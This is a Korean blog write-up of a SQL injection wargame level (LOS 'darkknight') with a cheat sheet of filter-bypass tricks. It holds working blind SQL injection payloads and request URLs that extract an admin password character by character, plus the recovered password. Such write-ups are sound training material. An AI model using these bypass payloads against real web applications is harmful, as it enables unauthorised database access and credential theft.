12번
*참고
1. substr 우회
right, left, mid 사용
substr('apple',1,1) = 'a' -> right(left('apple',1),1) = 'a'
substr('apple',1,1) = 'a' -> mid('apple',1,1) = 'a'
2. ascii 우회
ord, hex 사용
ascii(substr(pw,1,1)) = ord(substr(pw,1,1))
3. =, like, or, and 우회
= : like, between, in, instr 이용
or : || and : &&
4. 빈칸(공백) 우회
' ' : ( ), /**/, %09, %0a, %0c, %0b, +
- HT(Horizontal Tab) = 수평탭, LF(Line Feed), VT(Vertical Tab) = 수직탭, FF(Form Feed)
5. ' (작은따옴표) 우회
char 이용 or " (큰따옴표) 사용
6. ereg, eregi 우회
- 특수문자 = %00 이용
- 문자열 = 대소문자 변경
7. preg_match 우회
\ 이용
8. 에러 발생 시 에러를 보여주지 않고 그냥 exit()로 종료 시킬 때
- error based blind 기법 활용
ex) ' or id='admin' and if(substr(hex(pw),1,1)='1',(select 1 union select 2),2)#
ex) ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)# <- if나 case 등 조건문이 필터링되었을 경우
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1%20%20or%201%20like%201%20id%20like%20%22admin%22
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and armor(mid((pw),1,1))<120 %23
substr(string,a,b)
right(left(string,a),b)
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 like 1 and length(pw) like 8%20%23
8자리고
비밀번호는:1c62ba6f
49,99,54,50,98,97,54,102
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 lkie 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23
pw는 '' 라서 오류를 낼 방법이 없으니까
no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다
그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다
그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다
그래서 no=2를주고 ascii랑 substr이 막혀서 각각 armor mid 로 우회해서 값을 찾아 입력하였다
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23
'WARGAME > LOS' 카테고리의 다른 글
[LOS] 14번 문제-giant (0) | 2017.12.12 |
---|---|
[LOS] 13번 문제-bugbear (0) | 2017.12.12 |
[LOS] 11번 문제-golem (0) | 2017.12.10 |
[LOS] 10번 문제-skeleton (0) | 2017.12.10 |
[LOS] 9번 문제-vampire (0) | 2017.12.10 |